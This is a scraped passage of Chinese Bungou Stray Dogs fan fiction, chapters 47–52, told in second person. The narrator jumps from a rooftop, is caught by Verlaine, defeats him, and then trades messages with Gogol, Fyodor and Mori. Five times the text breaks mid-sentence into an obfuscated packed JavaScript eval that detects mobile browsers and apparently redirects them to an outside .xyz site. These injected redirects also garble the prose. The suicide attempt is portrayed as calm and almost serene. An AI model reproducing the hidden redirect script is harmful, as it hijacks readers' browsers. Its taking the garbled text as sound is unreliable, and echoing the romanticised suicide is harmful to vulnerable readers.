你走到天台的边缘,伸出头往下看。这栋楼很高,虽然高不到Mafia那种直入云霄的地步,但也有将近十层。 你感到轻微的眩晕,要是从这里掉下去,恐怕必死无疑。 街道上有寥寥几个行人,偶尔有车开过,他们没有注意到你,但如果你招手并大声呼喊,或许能够引来行人的注意,得到他们的帮助。 但你缩回脑袋,从口袋里掏出了手机。 这时候,打电话求助也不失为一种选择——不过你没有拨出任何一个号码,只是漫不经心地划动屏幕,浏览着联系人的名录。 你等了很久,没有人给你发消息。 或许,应该这样说……你想的人没有给你发消息。 你把手机放回了口袋,再次将头探出栏杆。 但这次,你探出的不止是脑袋。你的一只手臂环着诺亚,另一只手在栏杆上一撑,整个人便轻盈地翻出了并不高的栏杆,来到栏杆外的狭窄平台上。 这很危险,这具身体的平衡性不足以让你表演杂技。 你低头看了看你的小花盆,脸上露出一个微笑,双手紧紧抱着它,向前一步—— 你坠下了高楼! 等等、为什么?快想想办法,你会死的,这具身体会摔得粉碎…… 好吧,也许,来自未知之地的你,并不在乎死亡,也许,死亡对你而言,真的只是一个凉爽的夜晚。 来到横滨的第五天,你厌倦了一切,选择突兀地结束这一生。 虽然,你并没有事先表现出结束一切的征兆……不久前,你还与果戈里说了相当亲密的话,就在早晨,你还答应了乱步要给他新的礼物。孤儿院的孩子们还在期待着你下次去与他们玩耍,织田的小说你还没有买一整箱。你还没能让费奥多尔答应只为你出演,没能与他一起看下一次的夕阳,果戈里还没承诺只做你一人的小鸟,与格哈德安保服务的交易也还没有完成,坡无缘看见你的宠物诺亚……还有、太宰治……谁知道他呢?那家伙会等你回家吗?这次你夜不归宿,他甚至没给你发消息,他是太忙碌还是生气了,亦或者他出事了…… 但是,这没什么好大惊小怪的,毕竟世界上有很多人选择杀死自己时,都是这样突兀,你也只不过是其中之一。 也没什么值得你期待或担忧的,毕竟几秒钟后,你就会变成一滩无意识的肉、模糊可怖的肉、通向世界的终极的肉……仅仅是一滩肉…… 强烈的失重感。 风在耳边呼啸着,黑发胡乱地飞舞,被风吹得与你的脸贴在一起,几乎是砸在你的脸上。 你睁不开眼睛,于是轻轻地将其闭上,就好像宁静地放弃了生,空洞地等待着死。 突然之间!你感受到了什么东西接住了你——不是冰冷坚硬的地面,是一种温热的…… 是的、是拥抱!有人把你抱住了! 然而,这接住你的人很快就松开了怀抱,改为抓住你的手臂臂弯——剧烈的疼痛传来,你闷哼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13232727|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,睁开了眼睛。 你的手臂在这人的手部力量与重力的作用下,遗憾地骨折了。 还好,你还记得用另一只手抱紧诺亚,否则,要是诺亚从你手中掉下去,就不是骨折那么简单了。 你落到了地面上,救你的人没怎么管你的死活……或者说,只管了你的死活。你落地的时候,脚还在重力作用中扭了一下,但比起死亡,这样的结果已是好了太多。 “你在干什么?”救你的人面无表情,声音有些低沉地问道。 这是个身形高挑的金发青年,他的金发披散着,长而凌乱,连眼睛都差点遮住,好像很久都没有好好打理过,看起来有些颓丧。但你可以发现,在那散乱未梳理的金发之下,是一张极其俊美的脸庞。 他穿着有些皱巴巴的黑外套,皮肤极其苍白。你上次见到这种不健康的苍白,还是在费奥多尔身上,看来眼前这位青年,要么是生了某种让人虚弱的病、要么也是长久宅着不见阳光。 当然,最引人注意的,还是紧紧锁住他的颈部、镶嵌着宝石的项圈。 即使没有阳光照耀,猩红的宝石也分外夺目。 “自杀?就这样浪费掉自己的生命吗。”金发青年的语气不怎么好,但他的表情淡淡的,似乎也没怎么生气,“枉费太宰那么看重你啊。” “您是太宰先生派来的?”关于坠楼的意图,你没承认也没否认。 “否则还有谁会救你?”他“呵”了一声,“身体素质还真是差劲,轻轻一碰骨头就碎了,比小银还羸弱……” 金发青年说罢,没有再看你,也没管你伤了手脚要如何跟上他,转过身径直朝前走去。 “我是魏尔伦,太宰治指派给你的战斗课老师。别站着了,跟我回Mafia。” 48.第四十八章 你试着向前走,每走一步,扭伤的脚踝都传来剧烈的疼痛,不过这尚且在你的忍受范围之内。 “太宰先生关心我,那他为什么不发消息给我?”你没发现你说这话的时候,绵软得就像找不到家长的小羊羔,“我也好想他的。” “他被袭击了。”魏尔伦的语气轻描淡写,好像说的只是一件微不足道的小事。 然而这话飘进你的耳中,无疑不是件小事,你顾不上脚踝的疼痛,大步跑上去,拉住他的袖子,“什么袭击?太宰先生他怎么样了?” “这么焦急啊。”魏尔伦垂眸瞥了你一眼,“不用这么惊讶,他每隔一段时间就会受到袭击和暗杀……太宰能避开绝大多数暗杀,不过,总有疏忽的时候。” “他受伤了吗……”你惊愕地问。 “大概吧。”魏尔伦淡漠又有些敷衍地说,“事关首领的都是机密,你是知道的吧。” “太宰先生身上都是绷带,是因为这个吗……” 你想到太宰几乎全身都被绷带紧紧包裹。 白色的纱布之下,是否都是因为袭击而出现的伤痕? “那倒未必。”魏尔伦皱了皱眉,有点冷漠地掰开你抓着他外套的手指,“他的说法都是他自己莫名其妙摔到哪或撞到哪,再或者就是突发奇想自己下厨的时候,被蹦出来的高压锅限压阀砸到身上,亦或是锅炸了……这种很蠢的原因。” “……你怎么知道?” “你觉得我怎么知道——哈哈,我能掐会算。你信吗。” 魏尔伦语气平淡,脸上没有一丝笑意,即使是念“哈哈”也像个棒读的机器。 随后,他叹了口气,“……这种事情,和医生多见几次,稍一套话就知道了……腿怎么样,到底能不能走?我现在带你去Mafia的医院。” “我不要。我要去太宰先生那里。”你拒绝道。 “已经是大孩子就不要这么黏人了。”魏尔伦说。 “我不要——除非您告诉我,太宰先生他现在到底怎么样了,是谁袭击的他。”你耍赖道。 他安静了一会儿,看着你的眼睛,“他现在处于重伤昏迷的状态。袭击者身份还没查清。” “什……”你的眼睛微微睁大,呼吸和心跳因为着急而紊乱,不过很快,你就冷静下来,察觉到了他话语的漏洞,“不对,如果太宰先生昏迷了,他是怎么派你来找我的?” 魏尔伦眉毛一挑,“他是在重伤前派我来的……” “啊啊,您的意思是,他先从立原那里收到我失踪的消息,随后派你出来找我,最后遭遇了暗杀?”你笑了笑,“那么,你是怎么知道太宰先生昏迷的消息的呢?是谁在你出任务的时候,还把这件‘事关首领的机密’特意告诉了你?” 魏尔伦沉默了,他考虑着如何把谎话编下去,但很快,他就呼出一口气,简单干脆地放弃了圆上谎言。 “好吧,被袭击是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13268263|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的,但重伤是那家伙是装的——他以昏迷这个借口睡过去了,医生帮他打掩护。” “……呃,什么?” “睡过去了。”魏尔伦重复了一遍,“事务都被临时移交给了对此一无所知的中也,然后他愉快地开始了补觉休息——怎么,觉得监护人的高大形象瞬间破灭?你最好别把他想得太好,那家伙一向很恶劣。” “……所以这就是为什么是你来救我,而不是中也先生或者别的人。其他人都以为太宰先生是重伤昏迷了,有别的事要做。” 魏尔伦耸了耸肩,“就是这样。现在可以去医院了吗?” “既然太宰先生没事——”你嘟囔着,“那就去医院吧,去了医院我还要去超市和礼品店,给乱步先生买礼物。” “你得回Mafia。”魏尔伦说。 听起来丝毫没有让步的余地。 “不回。太宰先生休息呢,我回去做什么?他又不让我和他一起睡。”你断然拒绝。 “这是首领的命令。以及,刚才你从楼上跳下来的事,我也会如实告诉他的。”魏尔伦平静地看着你,“或者你想被我强行带回去?只是轻轻一碰就骨折了,在那么矮的地方解除重力,掉下来也会扭到脚的小家伙。” 虽然他说得很平淡,但话语中的嫌弃已经尽数显现了。 “我的确是脆皮没错啦……”你抬眼看着他,微微一笑,“不过,您是没法强行把我带回去的哦。” 49.第四十九章 “让·尼古拉·阿尔蒂尔·兰波先生。” 你说出了一个陌生的名字,但这名字对魏尔伦而言一定无法说是陌生,因为那张始终没有多少表情的平淡的脸上,浮现出了极度震惊与不知所措相混合的复杂神情。 你几乎无法理解他那如干涸的颜料盘般精彩的表情后,隐藏着什么样的特殊意味。 “你怎么会知道……”从他的表情可以看出,你会知道这个名字是一件极端不可思议的事。 魏尔伦直勾勾地盯着你,他那垂落的金色发丝后,一直黯淡无光、蓝又近似于灰色的眼眸,终于像是见到了值得注意的东西,有了几分异样的神采。 下一秒,魏尔伦忽然有了动作,他伸出那只一直插在口袋里的手,放在了你的肩膀上。 他的动作看起来轻飘飘的,只是随意地搭上来而已,但顷刻之间,你感到你的肩上压来了极端沉重的力量,这力量比天空中的黑云压顶还要具有压迫感,那是足以主宰人类的力量,那是—— 重力。 眼前这位青年,竟然有着与中原中也相同——或者极其相似的强大异能力。 “告诉我……”他近乎呢喃般低声说着,目光灼灼,“你为什么会知道他——为什么会知道我的名字?” 他只是没有实施保护、无意间抓住你,就能够让你的手臂骨折,如今若是将重力直接压在你身上,你这具孱弱的身体恐怕会受到更重的伤势。 但是,在他的手碰到你的肩膀上,你感觉到他手上传来恐怖力量的刹那—— 魏尔伦如同被空气按住了一般,他被神秘的力量压得不得不弯下了腰,他本该对你产生压制的重力,竟是作用到了他自己身上。 “抱歉,我只是轻轻用了一下异能力……”你后退半步,诚恳地说。 这点重力对于你来说可以造成重伤,但对于魏尔伦来说只是洒洒水而已,他很快就重新站直了,只不过,他的身周围绕着深暗的难以靠近的力场,你再难以接近。 魏尔伦不信邪,他抿了抿嘴,眼神冷漠,向后轻轻一跃,与你远出十余米距离,随后,手向旁一挥。 只见路边的汽车被他的指尖触碰到,竟是就这样飘浮了起来。 身形瘦削高挑的青年竖起一根手指,顶起了一辆汽车,这样令人惊异又有些独特美感的奇观,或许也只有重力异能者能够轻松地做到。 “贤治应该也可以做到……”你低声念叨着,平静地抬头,注视着那辆汽车向你砸过来。 魏尔伦还真是丝毫不在乎你的死活。 他甚至也不是很在乎太宰治的命令。他现在只想要心中的疑惑得到解答,为此他可以打破一切规矩与命令。 “即使被束缚住也如此恣意,立原无论如何也无法做到这一点啊。真不愧是……”你嘀咕着,脸上的表情没有一丝波澜—— 那辆向你重重砸过来的汽车,竟是在空中离奇地拐了个弯,砸到了魏尔伦自己身上! 在重力的加持下,一阵烟尘逸散开,你难以看清碰撞的中心处发生了什么。 水泥地上出现了数道深深的裂缝,这样的力量若是砸到你身上,恐怕就算不当场毙命,后半生也得在病床或者轮椅上度过。 你朝魏尔伦的方向慢悠悠地走过去。 脚踝和手臂关节的疼痛提醒着你需要尽快去医院,但你如同感觉不到一般,甚至没有因此皱一皱眉——非常棒,表现得颇像电影里的硬汉……如果不如此轻易地受伤就更棒了。 本来路上还有几个行人的,在魏尔伦举起汽车的时候行人们便全都消失了,你甚至没听见多少声惊呼,看来横滨市民对这种突如其来的战斗已经有了抗性,也不知道这该说是令人欣慰还是令人感到可悲。 魏尔伦灰头土脸地掀开汽车的残骸,他正沉默着想站起来,却受到此前肩膀上的重力以及掀开汽车的重力的影响,又被压在地上。 浓烟从汽车上滚滚冒出,金发的青年瘫在汽车旁边,他的衣服破破烂烂,金发上也蒙上灰尘,显得更加凌乱。魏尔伦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13282308|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情地偏过头,注视着缓缓走近的你。 “哎呀……不好意思,我又轻轻用了一下异能……”你抱着诺亚,朝他微笑着。 “……记仇?”魏尔伦抬了抬眼皮,“刚才可是我救了你。” “所以现在魏尔伦先生只是受了些皮外伤,并没有什么事,不是吗?”你蹲在他身边,轻笑道。 魏尔伦没有说话。 但他还没有放弃。 因为,在死一般的寂静中,危险的黑色波动已经悄声蔓延开…… 魏尔伦望向你的眼神中,出现了如同毒药一般的浓郁的黑色、名为“憎恶”的东西。那黑暗浓稠得像石油一般,从他的眼睛里泄露出来。 极端的危险、比砸过来的汽车危险百倍千倍、你甚至感觉到那是能令世界毁灭的、以你的异能绝对无法应对的危险—— 逃跑、除了逃跑别无它法!力量的层级已经压过了异能,这不是异能可以对付的东西…… 但就在这时,魏尔伦脖颈上的项圈,那猩红的宝石忽然妖冶地闪烁了一下。 刹那间,所有危险都消失了。 魏尔伦如同瞬间被雷电击中一般,浑身颤抖着,额头冒着汗珠,如同死鱼一般平躺在地上。 他用嘴巴大口呼吸着,眼中只剩下茫然和空洞,那空茫又在片刻后变成了一片辽阔的死寂。 “为什么?”就这样过去了半晌,他轻声问道。 “是秘密。魏尔伦先生,比首领相关的机密还要秘密的秘密。”你说。 “我是问……”他疲惫地闭上眼睛,“你从刚才到现在,连跳楼的时候、连手臂受伤……都一直抱着那个花盆。为什么?为什么你如此重视那个花盆?” “只是有这么一种感觉……如果它碎掉了,我会很难过的。”你说。 “有什么可难过的。”由于魏尔伦现在说话没什么力气,虽然他说的是冷淡的话,但听起来倒显得没那么冷淡了,“那只是个花盆,甚至没有生命……与你并不是同类。” 50.第五十章 “它是我前世的尸体,一直安静地看着我,我抱着它的时候,就像抱着破碎的时间。” 你用堪称奇诡的话回答了魏尔伦的问题。 魏尔伦沉默着,他似乎在思索你模糊的话语中究竟有何深意,紧紧地盯着你的花盆。 “走吧,老师——”你说这个称谓的时候放慢了语速,把尾音拖得很长,“再不走的话,市警恐怕就要来了。” 看这道路地面都被砸出一个深坑的壮举,来的是军警也说不定呢。 魏尔伦摇摇晃晃地站了起来,他的身上尽是灰尘,却丝毫没有拍一下衣服、打理自身的想法。他低着头,慢慢地跟在你的身后,眼睛中没有一点光亮,显得更加颓丧而缺乏生机。 你们打车到了Mafia的医院,治疗你的手臂和扭伤的脚。你以单只手抱累了为理由,把诺亚交给了魏尔伦。他有些吃惊,抱着诺亚的动作十分僵硬,似乎有点不情愿,但他作为败者,还是勉强听从了你的指令。 更令他没想到的是,你带着他去商城,却不是让他拎东西的,而是先把他拉到了美容美发的店铺,帮他把长久未修剪过的头发修整得干净飘逸,还给他换了身衣服。 当全新的魏尔伦出现在你面前,不仅是你,周围的顾客与店员的脸上也露出了惊叹的神色。 你知道魏尔伦长得很不错,但没人能料想到他经过打理后会变得如此好看。身上的颓丧与沉沉的死气一扫而空,柔顺的金发灿烂耀眼,沉郁的蓝色眼眸中仿佛蕴藏着极深的秘密,焕然一新的魏尔伦俊美得不似凡人。 “这样才有神明的感觉嘛……”你轻轻一笑,示意魏尔伦俯身过来,然后从购物袋里取出了黑色的口罩和鸭舌帽给他。 在路人的惊叹与不舍的视线中,魏尔伦用口罩和帽子遮住了自己的脸。 你注视着魏尔伦怔然的眼睛,微笑着,“是不是很久没有人这样关心过您了,老师?有没有很感动?” 魏尔伦当即站直了,神色又恢复了冷漠,不过他转过身去的同时还抱起了之前放在一边的诺亚,“这算什么关心,有什么值得感动的吗?我可没要求你这样做。” “总是口是心非的话,在重要的人离开后一定会后悔莫及的。”你笑道。 “你还算不上……”魏尔伦的脚步一顿,半晌后才道,“你的秘密还真多啊。罢了,我会保护你……还有诺亚。但也仅此而已了。” 由于你行动不便,你和魏尔伦只是在商城里慢慢地走着,就在这时,你收到了费奥多尔的消息。 诺亚的家属:【您对尼古莱做了什么?】 你的一只手打着石膏,只剩下一只手,打字并不方便,于是打了个问号表达疑惑。 或者……假装疑惑。 毕竟你是知道你对果戈里做了什么的,这时候装困惑,未免有点恶趣味了。 诺亚的家属:【他从您那里回来之后,就一直走来走去,低声地自言自语,好像发了疯。我问他问题,他也不回答,反而直接跑远了。从表情上看,好像很激动,又好像很苦恼。我不明白。】 费奥多尔先生也会有不明白的事吗——你停在原地,用一只手拿着手机,艰难地打字,还没发送出去,就收到了新的消息。 诺亚的家属:【现在他开始懊恼地揪自己的辫子了。(图片)】 背景光线昏暗,应该是某个地下室。照片中的果戈里盘腿坐在地毯的角落,靠着墙壁,压根没注意到自己被拍了,头微微上仰,皱着眉毛,目光神游天外,手无意识地绕着自己的银色小辫子,也不知道费奥多尔是怎么看出他在懊恼的。 你准备发新的消息,但字还没打完,就见“诺亚的家属”又发来了新的消息。 【朔君,关于您和我说的话,我想了很久很久,您猜我要回答您什么?】 显然,手机另一端换人了。 你慢吞吞地打着字,依然是在你发送出去之前,新的消息又到了。 【答案是——闪亮的拒绝!】 你沉默着删除打好的字,开始重新打字。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13282309|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咦咦,朔君不好奇为什么吗?你问的话我就会回答的喔。】 你再次删除打好的字,正要发出提问,但新的消息再次打断了你的动作。 【朔君怎么不说话?难道是太难过了,哎呀……我应该委婉一点的,但是委婉的话又好像给朔君留了希望,我可不是那种连拒绝都要拖泥带水的无耻的人。】 你没再打字了,低头盯着手机。 一条一条的消息接连发送过来。 【朔君?朔君?】 【为什么你不回复我,你刚才还回复了费佳呢!】 如果一个问号也算回复的话。 【你回复费佳,不回复我,我也没有很难过啦,真的。】 【我知道了,你是不是因为被拒绝太难过了,在哭啊?真是的,我下次给你带俄罗斯特产的糖果和饼干,特别好吃,不要难过了哦。】 【哈哈,没关系,我也没有很想要你回复,你】 消息在这里戛然而止。 过了一会儿,再次冒出了消息,不过这回,手机显然是回到了它的原主人身上。 诺亚的家属:【抱歉,出了点意外。我会让他用自己的账号发消息给您的。他好像有点紧张和犹豫,但我认为他最终还是会用自己的账号,大大方方地与您通讯。】 顿了一下,费奥多尔再次发来一条消息,【您之前也说过他很可爱,对吧。他的脑回路不太一般,能想到带糖果和饼干给您,实属不易,想来是真的很喜欢您。如果可以的话,请看在可爱的份上,对他多多包容,有空的时候就回复他的消息,多与他联络吧,拜托了。】 你几乎可以立即猜到费奥多尔是叹着气发出这段话的。 你等了一会儿,也没见果戈里用自己的账号给你发消息,看来这家伙还在紧张。 于是你在联系人的名录上漫不经心地翻着,不经意点进了太宰治的对话框。 之前你问魏尔伦,为什么太宰关心你却不给你发消息,但事实上,你也没有主动给他发过信息。 51.第五十一章 你慢吞吞地敲字发送信息:【太宰先生为什么不给我发消息,我好想你的。】 没有回复。 你也不着急,等待了一会儿,发现还是没有收到信息,便把手机收了起来,拉着魏尔伦,到街边的餐馆买了两份芝士焗饭。你另加了一份牛奶布丁。 “虽然你的异能很厉害,但是你的身体素质太过差劲,我建议你还是按照太宰说的,躲在Mafia里面,接受一段时间专门的训练。” 魏尔伦好像有点挑食,他专门把芝士焗饭上面的那层芝士与虾仁挑出来吃完,剩下的米饭留在碗底。 “其实有件事我很好奇。”你用勺子挖下一小块牛奶布丁,“魏尔伦先生为什么会留在Mafia?” “这不是该问的东西。”魏尔伦拒绝回答。 看来他的过往也存在着大量秘密。 你用勺子指了指他碗中剩下的米饭,让他全部吃完不要浪费,然后道,“我现在这样也没法接受训练,还是再等几天吧。” 这时候,你的手机振动起来。 有的时候就是很奇怪,要么一条消息也收不到,要么一口气收到很多条消息。 不过,或许会让你失望的是,太宰依然没有回复,你收到的是别人发来的信息。 你把收到的信息一个个点开。 首先是立原。 立原道造:【老大,我找了你很久也没找到,听银说教官去救你了,你还好吧?】 太宰会知道你出事,让魏尔伦来救你,就是因为立原在第一时间把消息传了回去。 立原道造:【少爷,你是我亲少爷,你到哪里去了,别吓我啊。你要是出事,首领要打死我的。】 这条信息后面,跟着一张“大哭”的表情包。 立原道造:【完了,我这辈子也回不去黑蜥蜴了,朔先生,你快回来吧……】 这句话后面又跟了不同款式的“大哭”表情包,也不知道他从哪里收集来这么多表情包的,称其为表情包大师也不为过。 如他所说,虽然立原对果戈里毫无办法,还在你被掠走后第一时间上报,但他作为太宰指定的随身保护你的人,你出事,立原肯定要负起一定的责任。 如果立原因为怕担责而隐瞒消息,想自己先把你找到,太宰就不会知道你出事,魏尔伦也就不会那么迅速地赶到。连锁反应下来,你现在恐怕已经摔得粉身碎骨了。 你现在还能平安地坐在这里看消息,立原功不可没。 你想了想,把所在餐馆的店名以及位置发给了他。 立原当即发了个欢天喜地的小狗表情包,想必一会儿就会赶过来。 然后是森鸥外,他竟然回复了你之前问的关于八年前、森和太宰是否见过二叶亭彻的问题。 森鸥外:【八年前,我和太宰的确见过他。但是,没有什么好说的,我和他身上发生的一切没什么关系,太宰也一样。】 你:【我听说悲剧发生的地方是Mafia的地盘。】 森鸥外:【朔君,那时候我还只是个地下医生,还不是Mafia的首领呢。他那件事发生的时间很是微妙。】 你:【咦?】 森鸥外:【那天晚上我把太宰带回了Mafia。如果不是太宰急需救治,而且二叶亭君伤得实在太重,不是我这个小小的医生可以治疗的话,我可能会顺便带走重伤的二叶亭君哦。不过后来,你大概也知道了吧,与谢野救活了二叶亭,自然也就没有我的事了。唉……真不愧是与谢野呢。】 你:【是森先生请与谢野小姐来救助他的吗?】 森鸥外发了个眯眼微笑的表情,【我怎么可能请得到她呀?我只是打了个匿名电话给侦探社,告诉他们这里发生了非常可疑的案件,而且有濒死的伤员而已。】 你:【森先生真是个好人啊。】 森鸥外对于收到好人的头衔,再次发了个微笑的表情包—— 可能他也不知道该如何回复这句话。作为一个前Mafia首领,森鸥外恐怕是第一次收到这种表扬。 你慢慢打着字:【话说,八年前,太宰先生急需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13283528|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救治是怎么回事?】 森鸥外:【太宰吃了过量的药物,而且溺水了……朔君还不知道吧,那时候的太宰是个自杀狂呢。】 你:【自杀狂?】 森鸥外:【是不是有点惊讶呢,现在的太宰完全看不出自杀狂的影子吧?朔君如果好奇这个,下次来孤儿院的时候,我再和你仔细说说。】 你回了个“好”,点开第三位发来消息的联系人。 这是刚刚添加你通讯账号的果戈里。 当你看向果戈里的聊天窗口的时候,发现他已经发了很多很多条消息。 你把信息拉到最上面,看最早的消息。 果戈里:【您不知道,在刚才的十四分钟里,这个世界上多了个伤心透顶的可怜人,而这仅是因为您释放出了冰冷的沉默孢子。】 果戈里:【您的手指上一定附有炽热的诅咒,现在可好了,我在您的诅咒下,有了一个新的名字,叫做‘焦急’,您说这该怎么办?】 果戈里:【要么就是因为那顶帽子——那顶被您抢走的帽子!我可喜欢那顶帽子了,第一次见面的时候我就是用那顶帽子跑掉的,不知道您有没有想起来,您肯定是忘了,它是很有纪念意义的呢。您一定是通过那顶帽子下咒,像牵木偶一样牵住了我,我发誓我会砍断所有绳子的,我发誓。】 果戈里:【我真该在您握着我的手的时候,割断您的喉咙,毕竟我不可能成为谁的失去双腿永远飞在空中的小鸟——我知道小鸟最是代表自由,但小鸟一旦与自由相关联,它就不再自由了,因为自由本身的概念也会成为一种束缚。我宁可您将我比作一只雪山羊,跳跃在普托拉纳高原,尤其在冬天……您要知道我比鸟儿残忍得多。而且,小羊比鸟儿更好吃。】 ……你往下翻,仔细看完了一连十几条消息。 最后一条消息是新发来的—— 【怎么会发生这样的惨剧呀?朔君,这个世界上少了个伤心透顶的可怜人,因为他的心已经如同打碎的镜子,碎成一片一片的了!他的心成了漫天纷飞的雪花!】 52.第五十二章 你用仅剩的可以自由活动的手,缓慢地打字。 你:【小鸟先生怎么能把因被说中了心事而一直潜伏于体内的不安,怪责于我空白的回声呢~我要令沉默孢子在你身上萌发出新的藻类,那会像一个蛀牙洞,让你情不自禁地去舔舐,满是苦恼又毫无办法摆脱。】 你:【然后,你就会更焦急地来找造成这一切的恶魔、找我这个抢走你的帽子还有你身上的宁静的强盗——你急切地渴求知晓恶魔如何精准地捕获你的心脏,就像行走于沙漠中的人,急切地渴求维持生命的水分。】 你:【不过,小鸟先生,你得承认,在痛恨这个恶魔强盗的同时,又对他抱有隐秘的期待,否则,你就不会刻意去回避思考,为何当可恶的强盗引颈就戮时,你反而逃得飞快了。】 你:【那时你盯着我的眼睛看了很久,也许这可以成为一个全新的好借口。恶魔的眼睛是杜松子酒,让你迷醉得厉害,漆黑的眼瞳里有无底地狱的烟气与鬼影,每一次睫羽的垂落都引诱着你离得再接近分毫,这就是你不动手的原因。可是尼古莱,你想要的不是让我用诅咒引着你到地狱去,也不是变成雪山羊……我想着,你是不是有时会想要褪去这层笨重的壳,品尝自己的肉?我还是情愿叫你小鸟先生,仅仅是因为很可爱。】 …… 你放松了一下手指,继续逐条回复果戈里,光是回复就花了你将近一个小时的时间。好在你先前已经把芝士焗饭吃完,不存在饭凉了的遗憾。 在你回复的时候,立原赶到了店铺。 他看见你打着石膏的手还有包扎过的脚踝,吃了一惊,不知是想到了什么,他又匆匆地出门去了。 再回来的时候,他推回了一台轮椅。 这回轮到你惊讶了,“我觉得,应该还没有严重到需要坐轮椅……” “这样会方便很多。”立原坚持道,“利于休养,移动的时候也不会痛。” 魏尔伦也表示了赞同,于是你坐上轮椅,让立原推着走,低头给果戈里发去最后一条回复。 你:【既然小鸟先生的心碎成了漫天的雪花……今年的冬天,我就不撑伞了。】 你看了看,太宰依然没有回复你的消息。 于是你收起了手机。随后,你带着魏尔伦和立原辗转各商场,挑选了一下午礼物。 中途有一支小插曲,在某处商场门口似乎有人认出了你,随后就有一支队伍对你展开了跟踪。 魏尔伦迅速地解决掉了那些不知死活的人,回来的时候脸色不太好。 “是什么人在跟踪我?”你问。 “欧洲面孔。”魏尔伦说,“说话有伦敦那边的口音。” “你把他们干掉了?”你偏过头,望向刚才魏尔伦把人拖过去的小巷。 你看不清巷子里发生了什么。 “没全死。”意思就是有些死了。 横滨的市警天天不是收尸就是在收尸的路上,不是没有道理的。 现在魏尔伦制造的这种案件,就是最令人讨厌的案件——凶手和被害者的身份都不明的异能杀人案。 军警内最大的怨种科室犯罪对策科又得挨长官的训……希望他们的九月份报告已经写完了,因为现在已经是十月底,马上又该写十月的工作报告了。 就是不知道少了干活的主力,他们这个报告该怎么写。 魏尔伦顿了一下,“刚才这伙人实力不错,我准备带几个活口回去交给红叶。你和立原去侦探社吧,我就不去了……我的身份也不适合去那里。” “老师以前的身份?”你好奇道,“老师以前是犯罪组织成员吗?” “这个啊……不是。”魏尔伦的眼神变得幽深起来,“但是和杀手差不多。” “我听说横滨以前有个很厉害的杀手,但是神秘失踪了,老师对这个有了解吗?”你问。 魏尔伦有些疑惑地皱了皱眉,“横滨有什么厉害的杀手么……没听说过,我不清楚这个,如果有,也应该是在我来横滨之前活跃的杀手吧。” 说罢,他又轻轻笑了一声,“再厉害也没有我厉害。” 魏尔伦一直表现得很冷淡,这还是你和他见面以来,第一次听见他笑,不过他的面容被口罩挡住,你看不清他的笑容。 你眨了眨眼,招手示意他俯下身来。 魏尔伦不解地照做。 你取下他的口罩,端详着他的脸,“老师,你可不可以再笑一下?” 魏尔伦茫然地看着你。 “拜托了——老师,您长得特别好看,我相信您是最厉害的杀手。”你拿出手机,做出要拍照合影的模样。 他回过神来,按下你的手机,“我的脸不可以记录,会带来麻烦。” “可是难道您要一辈子藏在不为人知的黑暗角落里吗?”你说,“在世间不留下一点痕迹。” “这就是暗杀者的宿命。”魏尔伦重新站直,把诺亚交到立原手中,手指勾着口罩的带子,“这就是我的宿命,一个本应死去的人的宿命。” 你不知道“本该死去的人”是什么意思。 “而且……”他低头注视着你,“不止我一个人这样,要说躲在阴暗处,你那位先生和我不相上下。如果什么时候你能让他允许和你合照,甚至允许你画一张画像,你再来找我提拍照的事吧。” 他说的是太宰治。 